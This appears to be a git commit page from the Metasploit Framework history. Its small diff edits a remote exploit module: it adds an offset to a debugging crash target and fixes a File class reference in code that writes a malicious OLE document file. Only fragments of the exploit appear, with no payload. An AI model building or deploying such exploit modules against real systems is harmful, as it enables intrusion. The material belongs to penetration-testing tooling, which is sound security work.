fix debug target, adjust File reference
git-svn-id: file:///home/svn/framework3/trunk@11469 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
be1ee243bf
commit
152eb80710
|
@ -99,6 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# crash on a deref path to heaven.
|
||||
[ 'Crash Target for Debugging',
|
||||
{
|
||||
'Offset' => 1337,
|
||||
'Ret' => 0xdac0ffee
|
||||
}
|
||||
]
|
||||
|
@ -116,7 +117,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
|
||||
out = File.expand_path(File.join(datastore['OUTPUTPATH'], datastore['FILENAME']))
|
||||
out = ::File.expand_path(::File.join(datastore['OUTPUTPATH'], datastore['FILENAME']))
|
||||
stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE)
|
||||
if (not stg)
|
||||
raise RuntimeError, 'Unable to create output file'
|
||||
|
|
Loading…
Reference in New Issue